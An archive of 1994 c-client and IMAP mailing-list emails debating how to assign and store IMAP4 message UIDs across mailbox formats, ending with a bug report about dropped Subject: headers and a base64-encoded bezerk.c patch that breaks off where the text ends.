owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA10501; Thu, 22 Sep 94 23:03:50 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA17352; Thu, 22 Sep 94 23:03:48 -0700 Date: Thu, 22 Sep 1994 21:36:40 -0700 (PDT) From: Mark Crispin Subject: implementation of UIDs in c-client To: c-client Interest List Cc: IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I've been thinking about the implementation of UIDs in c-client. This is clearly the single largest task in updating c-client to IMAP4, and thus is the one I am going to undertake first. I would like comments about the plans I have outlined below for each of the different formats. One problem is that UIDs are unavailable in some formats. I think that it is going to be necessary to have a default value of zero meaning ``no UID available'' from c-client. I'm not sure what the c-client based imapd is supposed to do. Should it return an error for FETCH UID (but doesn't this violate IMAP4?)? Should it return the zero (and perhaps we need to say that ``zero means unavailable or indeterminate'' to the IMAP4 spec?)? Another matter has to do with the assignment of UIDs. There are two basic possibilities. One is to assign a UID based upon the current time-of-day, with some nasty bit of fuzz to make sure that we don't duplicate UIDs or spend an hour assigning UIDs for a 3600 message mailbox. The disadvantage to this is that the UIDs will tend to be very large. The other is to have a resource that assigns UIDs, essentially a uid = i++; This can be per-folder, per-user, or systemwide. The problem here is, where do you store the resource so it doesn't get stepped on? Ideally, it should be stored in the folder, but none of the current folder formats have a provision for doing so. If you store it in a file, then it is vulnerable to being lost or destroyed if the file is stepped on and/or the folders are moved. Perhaps the current high UID can be stored as a hidden first message. In the current gaggle of bundled c-client drivers, here's the score: 1) bezerk/mmdf/mbox format There are two major strategies that I can think of: a) stash the UID in the existing X-Status: or Status: header b) write the UID in a new X-UID: header The main issue here is what happens if an old, UID-clueless c-client (or other software) gets ahold of a mailbox with UIDs. Most likely, it will toss out the UIDs. This could be a terrible bug or a wonderful feature, depending upon how you look at it. If it was stored in X-Status or (especially) Status, the user can't shoot himself in the foot by accidentally using UID-clueless software to move messages around in different folders, writing now-bogus UIDs. 2) tenex/mtx format The quick and dirty method would be to use the 30 high order bits in the flags field of the header, and perhaps the last unused system bit to indicate ``valid UID'' to work around the fact that the little-used keyflags feature uses those bits for named flags. The problems with this are that this would irritate the folks who use keyflags (yours truly included). Although the c-client community does not use keyflags much, it is very extensively entrenched in the mm community, having been inherited from MM on the DEC-20. The other possibility is to add a new field to the header. I'm thinking of a hyphen followed by the UID. The current version of c-client will barf if there is anything after the flags field of the header. That error test can be removed now and distributed in Pine 3.91 and IMAP toolkit 3.5, so hopefully by the time a UID version of c-client and Pine are out, a UID-tolerant older version would have had time to propagate. The change to make older versions of c-client UID-tolerant (assuming UIDs are done here) is trivial, and can be distributed as a source patch. A third possibility is to write the data on the next line. I really don't like this; although it makes compatibility with the past easier, it's kludgy and has other bad effects. I'm not sure how much I should worry about mm. mm (or at least the copy I have on my system) trashes the internal dates of c-client written mail.txt files; it doesn't know about 4-digit years or numeric timezones. mm ignores anything after the flags field of the header, and will not write it out when rewriting the mailbox (hence it will trash UIDs). We could perhaps nag the owners of mm to fix this. The other issue here is adding UIDs to folders that don't have them. Unlike bezerk/mbox/mmdf format, it isn't routine to rewrite tenex/mtx folders. So we can either bite the bullet and rewrite to add the UID fields, or we can say that there are no UID fields and you have to rewrite the folder by hand (e.g. using a tool such as mbxcopy) to get UID capability. I lean towards the latter, especially if we do decide that it's alright to have zero for ``no UID available''. 3) mh format This should be easy since the format is very much like news. Unfortunately, it is not, because the charming mh system has a facility that renumbers the message files to be consecutive. The c-client mh driver will never do this, though. It isn't clear to me what the right thing is. My inclination is to go with what is fast and just say that if the guy renumbers his messages with mh, he will screw up his UIDs for disconnected clients. I don't think it is a good idea to do something (considerably) more expensive just to keep an mh user from shooting himself in the foot. 4) news/nntp format This is easy; I will use the news message numbers (as opposed to the c-client message numbers) since these are immutable. 5) phile format (raw files) Not clear what's best here, but I've been thinking about using the file modification time. This is better than the device/inode number (my initial idea) because that wouldn't catch appends or overwrites. I doubt that UIDs are really going to matter much here. 6) pop3 format Use UIDL if the server offers it, otherwise return zero for UIDs. 7) imap format Use FETCH UID if IMAP4, otherwise return zero for UIDs. From pinedev@shivax2.cac.washington.edu Fri Sep 23 08:47:03 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA08796; Fri, 23 Sep 94 08:47:03 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA07559; Fri, 23 Sep 94 08:46:32 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from uvaarpa.Virginia.EDU by mx1.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA07553; Fri, 23 Sep 94 08:46:30 -0700 Received: from elvis.med.virginia.edu by uvaarpa.virginia.edu id aa14062; 23 Sep 94 11:46 EDT Received: by elvis.med.Virginia.EDU (5.65c/1.34) id AA27815; Fri, 23 Sep 1994 11:46:28 -0400 Date: Fri, 23 Sep 1994 11:46:27 -0400 (EDT) From: "Steven D. Majewski" X-Sender: sdm7g@elvis.med.Virginia.EDU To: Mark Crispin Cc: c-client Interest List , IMAP Interest List Subject: Re: implementation of UIDs in c-client In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII What is the scope of a UID in time and space ? This point came up when we were discussing imap: URL's. John Gardiner Myers stated his point of view for CMU's implementation, and what would be required for IMSP, but I don't think there was a stated consensus on what IMAP should require. And my reading of the IMAP4 draft, at the time, was that it's only *required* to be unique for that folder, and if you want to get legalistic about it, for that implementation. ( i.e. an IMAP folder is a logical entity that maps to a physical store of some sort, and changing IMAP implementations could be considered as implicitly creating new IMAP mailboxes. ) The IMAP4 draft merely says that they "persist across sessions." * Are UID's preserved when mail is moved to another mailbox ? - NO: "Unique identifiers are assigned in a strictly ascending fashion for each message added to the mailbox." Are UID's preserved when changing IMAP implementation ? - ??? From memory: I think that John said it was his intention that they should, but we both agreed that some of this problem would be punted into the IMSP domain. [ I'll have to dig out that thread. I may be misremembering his statements. ] And in fact. looking at the draft again, I see that "unique for the lifetime of that folder" was *MY* rewording of what I *thought* was the meaning of "persist across sessions". In fact, that language is loose enough to allow intentional reassignment if UID's: IMAP doesn't define a way to do that, but IMSP or some other facility *COULD*. ( In common CS usage - "persistent" things CAN be intentionally deleted or modified - they just don't "evaporate" when you let go of them for a while. ) I would *like* the scope to be defined as widely as is practical. [ What's practical? ] Reading your (Mark's) note, I'm not sure if I still agree with that position. But I'm glad you brought it up! -- IAC DONT RANDOMLY-LOOSE ;-) -- Steve Majewski (804-982-0831) -- -- UVA Department of Molecular Physiology and Biological Physics -- -- Box 449 Health Science Center Charlottesville,VA 22908 -- [ "Cheese is more macho?" ] From pinedev@shivax2.cac.washington.edu Fri Sep 23 09:02:17 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA09653; Fri, 23 Sep 94 09:02:17 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA19969; Fri, 23 Sep 94 09:02:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA19961; Fri, 23 Sep 94 09:02:03 -0700 Received: (from postman@localhost) by andrew.cmu.edu (8.6.9/8.6.9) id MAA07251 for c-client@CAC.Washington.EDU; Fri, 23 Sep 1994 12:00:44 -0400 Received: via switchmail; Fri, 23 Sep 1994 12:00:42 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Fri, 23 Sep 1994 12:00:00 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Fri, 23 Sep 1994 11:59:58 -0400 (EDT) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Fri, 23 Sep 1994 11:59:56 -0400 (EDT) Message-Id: Date: Fri, 23 Sep 1994 11:59:56 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: implementation of UIDs in c-client In-Reply-To: References: Beak: Is I don't like the "zero uid" approach, it unnecessarily complicates clients. If nothing else works, you can assign time-based UID's, making it look to the disconnected client like all the previous messages got expunged and a whole bunch more got inserted. A time-based UID would be (time-of-connection*N)+message-number. N could be 1, or some arbitrary higher number if you're worried about a second connection within the same number of seconds as there are messages in the folder. > 1) bezerk/mmdf/mbox format > > There are two major strategies that I can think of: > a) stash the UID in the existing X-Status: or Status: header > b) write the UID in a new X-UID: header I would tend to suggest (b). To protect against UID-clueless software, I would put in a check to ensure the UID's are in strictly ascendending order, reassigning UIDs as necessary. > 3) mh format > > My inclination is to go with > what is fast and just say that if the guy renumbers his messages with mh, he > will screw up his UIDs for disconnected clients. This probably isn't too bad a plan. Can you detect when a mh folder has been renumbered? You could keep a file of the mh-number to UID mapping (or mappings) if the effort turns out to be worth it. You have to make sure that when you expunge the last message in the folder, that UID doesn't get reassigned to the next incoming message. > 5) phile format (raw files) > > Not clear what's best here, but I've been thinking about using the file > modification time. Sounds right. > 6) pop3 format > > Use UIDL if the server offers it, otherwise return zero for UIDs. Use UIDL if the server offers it and the pop-uids are both numeric and strictly ascending. Time-based UIDs otherwise. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Fri Sep 23 11:26:40 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA18420; Fri, 23 Sep 94 11:26:40 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA24220; Fri, 23 Sep 94 11:26:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA24214; Fri, 23 Sep 94 11:26:28 -0700 Received: (from postman@localhost) by andrew.cmu.edu (8.6.9/8.6.9) id OAA11903; Fri, 23 Sep 1994 14:25:07 -0400 Received: via switchmail; Fri, 23 Sep 1994 14:25:05 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Fri, 23 Sep 1994 14:23:53 -0400 (EDT) Received: via niftymail; Fri, 23 Sep 1994 14:23:50 -0400 (EDT) Date: Fri, 23 Sep 1994 14:23:49 -0400 (EDT) From: Chris Newman Subject: Re: implementation of UIDs in c-client To: c-client Interest List Cc: IMAP Interest List In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <780344629.17812.0@nifty.andrew.cmu.edu> Given the wording in the draft that UIDs must be "strictly ascending" within a mailbox, it is quite clear that returning UID 0 for every message in the folder is not currently legal. I also think it would be a bad idea to make it legal, because it would break disconnected clients in unacceptable ways. I think it _is_ legal to say NO to a FETCH UID, SEARCH UID, and the UID commands if UIDs are unavailable. A client written to the specification must be able to accept NO responses to these commands. (For that matter, an IMAP server which said NO or BAD to every command other than CAPABILITY, NOOP, and LOGOUT would be a legal implementation -- just not a useful one). My suggestion would be that when the specification moves to draft status, we add a special information token "[TRYSEQUENCE]" indicating that UIDs aren't available, but message sequence numbers will work. This would be required in the NO response to UID requests within a mailstore technology that doesn't support UIDs. In addition, a server could optionally send it in an unsolicited OK in response to a SELECT of such a mailstore. - Chris From pinedev@shivax2.cac.washington.edu Sun Sep 25 20:06:04 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA02334; Sun, 25 Sep 94 20:06:04 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA23329; Sun, 25 Sep 94 20:05:33 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA23323; Sun, 25 Sep 94 20:05:31 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA20786; Sun, 25 Sep 94 20:05:30 -0700 Date: Sun, 25 Sep 1994 19:23:52 -0700 (PDT) From: Mark Crispin Subject: c-client based imapd UID implementation To: IMAP Interest List Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I feel, from the messages that I have seen, that there is concensus that it is unacceptable to have a UID of 0 mean ``no UID available'', but that it is acceptable for an IMAP4 server to return NO to a FETCH UID or UID command. Additionally, a [TRYSEQUENCE] token should be returned on the SELECT command if it is observed that UIDs are unavailable. c-client will use a UID of -1 (which is invalid in IMAP4) to indicate ``no valid UID for this message''. There appears to be concensus that loss of valid UIDs, and reassignment of UIDs, should be avoided if at all possible. However, it is acknowledged that external UID-clueless software running on the server may erase or reassign UIDs, and that it may not be feasible to prevent or detect this. It is alright for me to say ``if you do a compress in mh you'll renumber the UIDs, so if you want to use an mh folder via IMAP don't do this.'' There appears to be concensus that the IMAP protocol must not be invalidated, so it is necessary to make sure that UIDs are strictly-ascending and reassign as necessary if they are not (e.g. message copy from an external UID-clueless program on the server). bezerk/mmdf format will use X-UID:, and automatically have UIDs assigned (if not already) when the mailbox is rewritten. tenex/mtx format will use a new field in the header and will require explicit conversion. There will be a new invisible message at the start of the mailbox that will hold the largest assigned UID. Thank you all for your comments. From pinedev@shivax2.cac.washington.edu Mon Sep 26 09:28:01 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA21607; Mon, 26 Sep 94 09:28:01 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA27672; Mon, 26 Sep 94 09:27:43 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA27662; Mon, 26 Sep 94 09:27:40 -0700 Received: (from postman@localhost) by andrew.cmu.edu (8.6.9/8.6.9) id MAA08995; Mon, 26 Sep 1994 12:27:37 -0400 Received: via switchmail; Mon, 26 Sep 1994 12:27:36 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 26 Sep 1994 12:26:12 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 26 Sep 1994 12:26:09 -0400 (EDT) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 26 Sep 1994 12:26:07 -0400 (EDT) Message-Id: Date: Mon, 26 Sep 1994 12:26:07 -0400 (EDT) From: John Gardiner Myers To: imap@cac.washington.edu Subject: Re: c-client based imapd UID implementation Cc: c-client Interest List In-Reply-To: References: Beak: is Not Mark Crispin writes: > but that it is > acceptable for an IMAP4 server to return NO to a FETCH UID or UID command. > Additionally, a [TRYSEQUENCE] token should be returned on the SELECT command > if it is observed that UIDs are unavailable. I disagree with this. It breaks the "no optional features" approach we took in IMAP4 and would be the first time a FETCH could return NO. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Sep 26 16:11:43 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA11411; Mon, 26 Sep 94 16:11:43 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA19206; Mon, 26 Sep 94 16:11:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA19137; Mon, 26 Sep 94 16:10:45 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA21599; Mon, 26 Sep 94 16:10:37 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA18512; Mon, 26 Sep 94 16:10:29 -0700 Date: Mon, 26 Sep 1994 15:46:13 -0700 (PDT) From: Mark Crispin Subject: Re: c-client based imapd UID implementation To: John Gardiner Myers Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 26 Sep 1994 12:26:07 -0400 (EDT), John Gardiner Myers wrote: > Mark Crispin writes: > > but that it is > > acceptable for an IMAP4 server to return NO to a FETCH UID or UID command. > > Additionally, a [TRYSEQUENCE] token should be returned on the SELECT > > command > > if it is observed that UIDs are unavailable. > I disagree with this. It breaks the "no optional features" approach > we took in IMAP4 and would be the first time a FETCH could return NO. Then I'm afraid that I must insist upon a zero or NIL UID convention to mean ``this message does not have a UID''. I got a rather firm message from the group that unstable UIDs are worse than no UIDs at all. From pinedev@shivax2.cac.washington.edu Thu Oct 13 20:17:12 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA16006; Thu, 13 Oct 94 20:17:12 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA15603; Thu, 13 Oct 94 20:16:52 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from mail.nada.kth.se by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA15597; Thu, 13 Oct 94 20:16:49 -0700 Received: from staff.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA17079; Fri, 14 Oct 94 04:16:47 +0100 Message-Id: <9410140316.AA17079@nada.kth.se> To: c-client Interest List Subject: Re: C-client removes header lines? In-Reply-To: from "Mark Crispin " "Wed, 21 Sep 1994 10:37:33 -0700 (PDT) " Date: Fri, 14 Oct 1994 04:16:46 +0100 From: Peter Svanberg Quoting: Mark Crispin > > On Wed, 21 Sep 1994 17:35:23 +0200, Peter Svanberg wrote: > > I just noticed that C-client seems to remove all header lines > > following a "Status:" header - Subject in this case! How come? > > I found, and fixed, a bug yesterday which caused c-client to crash when a > Status: or X-Status: header appeared in the middle of a header instead of at > the end of the header where it belongs. Your problem is another symptom of > that same bug. The problem is a dangling pointer. I still have this problem in Pine 3.91. Was this a different bug, not yet killed, or have I done some Pine-installing-error? Repeated by: an BSD mbox folder containing 3 messages, the last of which has a Subject header after the X-Status ditto. Open it in Pine 3.91, mark message 2 as Important, exit. Then the Subject header in message 3 is gone. Note: I load c-client with DEFAULTDRIVERS=imap mbox nntp pop3 mh mtx tenex mmdf bezerk news phile dummy Peter Svanberg From pinedev@shivax2.cac.washington.edu Thu Oct 13 21:14:14 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA17467; Thu, 13 Oct 94 21:14:14 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA16494; Thu, 13 Oct 94 21:13:00 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA16488; Thu, 13 Oct 94 21:12:54 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA05310; Thu, 13 Oct 94 21:12:45 -0700 Date: Thu, 13 Oct 1994 21:08:15 -0700 (PDT) From: Mark Crispin Subject: Re: C-client removes header lines? To: Peter Svanberg Cc: c-client Interest List In-Reply-To: <9410140316.AA17079@nada.kth.se> Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="16819560-2078917053-782107966=:5052" --16819560-2078917053-782107966=:5052 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 14 Oct 1994 04:16:46 +0100, Peter Svanberg wrote: > Repeated by: an BSD mbox folder containing 3 messages, the > last of which has a Subject header after the X-Status > ditto. Open it in Pine 3.91, mark message 2 as Important, > exit. Then the Subject header in message 3 is gone. Peter - Thank you very much for your bug report, and especially for mentioning the *very* important detail that it was a Subject: line that got lost. Bug: Removal of Status:/X-Status: header lines removes all lines which begin with X or S after a Status:/X-Status: line. Diagnosis: Code which recognized the end of an Status:/X-Status: deletion was not called in the case of a line beginning with X or S. Solution: Reorganize the switch statement so that X and S cases have failures that fall into the default case. See attached patches. -- Mark -- --16819560-2078917053-782107966=:5052 Content-Type: APPLICATION/OCTET-STREAM; NAME="bezerk.dif" Content-Transfer-Encoding: BASE64 Content-Description: attached file KioqIGJlemVyay5jCVRodSBPY3QgMTMgMjE6MDE6NTkgMTk5NAotLS0gYmV6 ZXJrLmN+CVRodSBPY3QgIDYgMTU6Mjk6MTUgMTk5NAoqKioqKioqKioqKioq KioKKioqIDEwLDE2ICoqKioKICAgKgkJSW50ZXJuZXQ6IE1SQ0BDQUMuV2Fz aGluZ3Rvbi5FRFUKICAgKgogICAqIERhdGU6CTIwIERlY2VtYmVyIDE5ODkK ISAgKiBMYXN0IEVkaXRlZDoJMTMgT2N0b2JlciAxOTk0CiAgICoKICAgKiBD b3B5cmlnaHQgMTk5NCBieSB0aGUgVW5pdmVyc2l0eSBvZiBXYXNoaW5ndG9u CiAgICoKLS0tIDEwLDE2IC0tLS0KICAgKgkJSW50ZXJuZXQ6IE1SQ0BDQUMu V2FzaGluZ3Rvbi5FRFUKICAgKgogICAqIERhdGU6CTIwIERlY2VtYmVyIDE5 ODkKISAgKiBMYXN0IEVkaXRlZDoJNiBPY3RvYmVyIDE5OTQKICAgKgogICAq IENvcHlyaWdodCAxOTk0IGJ5IHRoZSBVbml2ZXJzaXR5IG9mIFdhc2hpbmd0 b24KICAgKgoqKioqKioqKioqKioqKioKKioqIDE0MzEsMTQ2MiAqKioqCiAg ICAgIGlzID0gMDsJCQkvKiBpbml0aWFsaXplIG5ld2xpbmUgY291bnQgKi8K ICAgICAgZSA9IE5JTDsJCQkvKiBubyBzdGF0dXMgc3R1ZmYgeWV0ICovCiAg ICAgIGRvIHN3aXRjaCAoKih0ID0gcykpIHsJLyogbG9vayBhdCBoZWFkZXIg bGluZXMgKi8KLSAgICAgY2FzZSAnXG4nOgkJCS8qIGVuZCBvZiBoZWFkZXIg Ki8KLSAgICAgICBtLT5ib2R5ID0gKytzOwkJLyogc3RhcnQgb2YgYm9keSBp cyBoZXJlICovCi0gICAgICAgaiA9IG0tPmJvZHkgLSBtLT5oZWFkZXI7CS8q IG5ldyBoZWFkZXIgc2l6ZSAqLwotIAkJCQkvKiBjYWxjdWxhdGUgYm9keSBz aXplICovCi0gICAgICAgaWYgKG0tPmhlYWRlcnNpemUgPj0gaikgbS0+Ym9k eXNpemUgPSBtLT5oZWFkZXJzaXplIC0gajsKLSAgICAgICBpZiAoZSkgewkJ CS8qIHNhdyBzdGF0dXMgcG9vcD8gKi8KLSAJKmUrKyA9ICdcbic7CQkvKiBw YXRjaCBpbiB0cmFpbGluZyBuZXdsaW5lICovCi0gCW0tPmhlYWRlcnNpemUg PSBlIC0gbS0+aGVhZGVyOwotICAgICAgIH0KLSAgICAgICBlbHNlIG0tPmhl YWRlcnNpemUgPSBqOwkvKiBzZXQgaGVhZGVyIHNpemUgKi8KLSAgICAgICBz ID0gTklMOwkJCS8qIGRvbid0IHNjYW4gYW55IGZ1cnRoZXIgKi8KLSAgICAg ICBpcysrOwkJCS8qIGNvdW50IGEgbmV3bGluZSAqLwotICAgICAgIGJyZWFr OwotICAgICBjYXNlICdcMCc6CQkJLyogZW5kIG9mIG1lc3NhZ2UgKi8KLSAg ICAgICBpZiAoZSkgewkJCS8qIHNhdyBzdGF0dXMgcG9vcD8gKi8KLSAJKmUr KyA9ICdcbic7CQkvKiBwYXRjaCBpbiB0cmFpbGluZyBuZXdsaW5lICovCi0g CW0tPmhlYWRlcnNpemUgPSBlIC0gbS0+aGVhZGVyOwotICAgICAgIH0KLSAg ICAgICBpcysrOwkJCS8qIGNvdW50IGFuIGV4dHJhIG5ld2xpbmUgaGVyZSAq LwotICAgICAgIGJyZWFrOwotIAwKICAgICAgY2FzZSAnWCc6CQkJLyogcG9z c2libGUgWC1TdGF0dXM6IGxpbmUgKi8KISAgICAgICBpZiAoc1sxXSA9PSAn LScpIHMgKz0gMjsJLyogc2tpcCBwYXN0IFgtICovCiAgICAgIGNhc2UgJ1Mn OgkJCS8qIHBvc3NpYmxlIFN0YXR1czogbGluZSAqLwohICAgICAgIGlmIChz WzBdID09ICdTJyAmJiBzWzFdID09ICd0JyAmJiBzWzJdID09ICdhJyAmJiBz WzNdID09ICd0JyAmJgohIAkgIHNbNF0gPT0gJ3UnICYmIHNbNV0gPT0gJ3Mn ICYmIHNbNl0gPT0gJzonKSB7CiAgCWlmICghZSkgZSA9IHQ7CQkvKiBub3Rl IGRlbGV0aW9uIHBvaW50ICovCiAgCXMgKz0gNjsJCQkvKiBhZHZhbmNlIHRv IHN0YXR1cyBmbGFncyAqLwogIAlkbyBzd2l0Y2ggKCpzKyspIHsJLyogcGFy c2UgZmxhZ3MgKi8KLS0tIDE0MzEsMTQ0NSAtLS0tCiAgICAgIGlzID0gMDsJ CQkvKiBpbml0aWFsaXplIG5ld2xpbmUgY291bnQgKi8KICAgICAgZSA9IE5J TDsJCQkvKiBubyBzdGF0dXMgc3R1ZmYgeWV0ICovCiAgICAgIGRvIHN3aXRj aCAoKih0ID0gcykpIHsJLyogbG9vayBhdCBoZWFkZXIgbGluZXMgKi8KICAg ICAgY2FzZSAnWCc6CQkJLyogcG9zc2libGUgWC1TdGF0dXM6IGxpbmUgKi8K ISAgICAgICBpZiAoc1sxXSA9PSAnLScgJiYgc1syXSA9PSAnUycpIHMgKz0g MjsKISAgICAgICBlbHNlIHsKISAJaXMrKzsJCQkvKiBjb3VudCBhbm90aGVy IG5ld2xpbmUgKi8KISAJYnJlYWs7CQkJLyogdGhpcyBpcyB1bmludGVyZXN0 aW5nIGFmdGVyIGFsbCAqLwohICAgICAgIH0KICAgICAgY2FzZSAnUyc6CQkJ LyogcG9zc2libGUgU3RhdHVzOiBsaW5lICovCiEgICAgICAgaWYgKHNbMV0g PT0gJ3QnICYmIHNbMl0gPT0gJ2EnICYmIHNbM10gPT0gJ3QnICYmIHNbNF0g PT0gJ3UnICYmCiEgCSAgc1s1XSA9PSAncycgJiYgc1s2XSA9PSAnOicpIHsK ICAJaWYgKCFlKSBlID0gdDsJCS8qIG5vdGUgZGVsZXRpb24gcG9pbnQgKi8K ICAJcyArPSA2OwkJCS8qIGFkdmFuY2UgdG8gc3RhdHVzIGZsYWdzICovCiAg CWRvIHN3aXRjaCAoKnMrKykgewkvKiBwYXJzZSBmbGFncyAqLwoqKioqKioq KioqKioqKioKKioqIDE0ODMsMTQ5MiAqKioqCiAgCX0gd2hpbGUgKCpzICYm ICpzICE9ICdcbicpOwogIAkJCQkvKiByZWNhbGN1bGF0ZSBTdGF0dXMvWC1T dGF0dXMgbGluZXMgKi8KICAJYmV6ZXJrX3VwZGF0ZV9zdGF0dXMgKG0tPnN0 YXR1cyxlbHQpOwotIAlicmVhazsJCQkvKiBhbGwgZG9uZSAqLwogICAgICAg IH0KISAJCQkJLyogb3RoZXJ3aXNlIGZhbGwgaW50byBkZWZhdWx0IGNhc2Ug Ki8KICAMCiAgICAgIGRlZmF1bHQ6CQkJLyogYW55dGhpbmcgZWxzZSBpcyB1 bmludGVyZXN0aW5nICovCiAgICAgICAgaWYgKGUpIHsJCQkvKiBoYXZlIHN0 YXR1cyBzdHVmZiB0byB3b3JyeSBhYm91dD8gKi8KICAJaiA9IHMgLSBlOwkJ LyogeXVjayEhICBjYWxjdWxhdGUgc2l6ZSBvZiBkZWxldGUgYXJlYSAqLwot LS0gMTQ2NiwxNDk1IC0tLS0KICAJfSB3aGlsZSAoKnMgJiYgKnMgIT0gJ1xu Jyk7CiAgCQkJCS8qIHJlY2FsY3VsYXRlIFN0YXR1cy9YLVN0YXR1cyBsaW5l cyAqLwogIAliZXplcmtfdXBkYXRlX3N0YXR1cyAobS0+c3RhdHVzLGVsdCk7 CiAgICAgICAgfQohICAgICAgIGVsc2UgaXMrKzsJCS8qIG90aGVyd2lzZSBy YW5kb20gbGluZSAqLwohICAgICAgIGJyZWFrOwogIAwKKyAgICAgY2FzZSAn XG4nOgkJCS8qIGVuZCBvZiBoZWFkZXIgKi8KKyAgICAgICBtLT5ib2R5ID0g KytzOwkJLyogc3RhcnQgb2YgYm9keSBpcyBoZXJlICovCisgICAgICAgaiA9 IG0tPmJvZHkgLSBtLT5oZWFkZXI7CS8qIG5ldyBoZWFkZXIgc2l6ZSAqLwor 